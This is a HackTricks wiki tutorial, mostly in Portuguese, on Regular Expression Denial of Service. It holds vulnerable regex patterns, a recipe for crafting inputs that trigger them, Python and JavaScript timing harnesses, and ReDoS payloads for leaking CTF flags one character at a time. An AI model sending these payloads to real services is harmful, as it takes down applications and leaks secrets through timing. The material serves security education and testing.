Regular expression Denial of Service - ReDoS

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Regular Expression Denial of Service (ReDoS)

A Regular Expression Denial of Service (ReDoS) ocorre quando alguém explora falhas em como expressões regulares (uma forma de buscar e casar padrões em texto) funcionam. Às vezes, quando expressões regulares são usadas, elas podem ficar muito lentas, especialmente se o trecho de texto com que trabalham aumentar. Essa lentidão pode se agravar rapidamente mesmo com pequenos aumentos no tamanho do texto. Atacantes podem usar esse problema para deixar um programa que usa expressões regulares inoperante por longos períodos.

The Problematic Regex Naïve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Engine behavior and exploitability

  • Most popular engines (PCRE, Java java.util.regex, Python re, JavaScript RegExp) use a backtracking VM. Crafted inputs that create many overlapping ways to match a subpattern force exponential or high-polynomial backtracking.
  • Some engines/libraries are designed to be ReDoS-resilient by construction (no backtracking), e.g. RE2 and ports based on finite automata that provide worst‑case linear time; using them for untrusted input removes the backtracking DoS primitive. See the references at the end for details.

Evil Regexes

Um padrão de expressão regular "evil" é aquele que pode ficar preso em uma entrada especificamente criada causando um DoS. Padrões evil normalmente contêm agrupamentos com repetição e repetição ou alternância com sobreposição dentro do grupo repetido. Alguns exemplos de padrões evil incluem:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

Todos esses são vulneráveis à entrada aaaaaaaaaaaaaaaaaaaaaaaa!.

Practical recipe to build PoCs

A maioria dos casos catastróficos segue este formato:

  • Prefixo que leva você ao subpadrão vulnerável (opcional).
  • Longa sequência de um caractere que causa correspondências ambíguas dentro de quantificadores aninhados/sobrepostos (por exemplo, muitos a, _ ou espaços).
  • Um caractere final que força a falha total, fazendo com que o engine reverta por todas as possibilidades (frequentemente um caractere que não casa com o último token, como !).

Exemplos mínimos:

  • (a+)+$ vs input "a"*N + "!"
  • \w*_*\w*$ vs input "v" + "_"*N + "!"

Aumente N e observe crescimento superlinear.

Quick timing harness (Python)

python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS Payloads

String Exfiltration via ReDoS

Em um CTF (ou bug bounty) talvez você controle a Regex com a qual uma informação sensível (o flag) é verificada. Então pode ser útil fazer a página travar (timeout ou tempo de processamento maior) se a Regex corresponder e não caso contrário. Dessa forma você poderá exfiltrate a string char by char:

  • Em this post você pode encontrar esta regra de ReDoS: ^(?=<flag>)((.*)*)*salt$
  • Exemplo: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • Em this writeup você pode encontrar esta: <flag>(((((((.*)*)*)*)*)*)*)!
  • Em this writeup ele usou: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

Os exemplos abaixo são exemplos de ReDoS onde você controla tanto o input quanto a regex:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Notas de linguagem/motor para atacantes

  • JavaScript (browser/Node): Built‑in RegExp é um motor de backtracking e comumente explorável quando regex+input são influenciados por um atacante.
  • Python: re é backtracking. Longas execuções ambíguas mais uma cauda que falha frequentemente resultam em catastrophic backtracking.
  • Java: java.util.regex é backtracking. Se você só controla o input, procure endpoints que usem validadores complexos; se você controla padrões (por ex., regras armazenadas), ReDoS geralmente é trivial.
  • Engines such as RE2/RE2J/RE2JS or the Rust regex crate são projetadas para evitar catastrophic backtracking. Se você esbarrar nessas, foque em outros gargalos (por ex., padrões enormes) ou encontre componentes que ainda usem motores de backtracking.

Tools

Dica: Quando você só controla o input, gere strings com comprimentos que dobram (por ex., 2^k characters) e monitore a latência. Crescimento exponencial indica fortemente um ReDoS viável.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks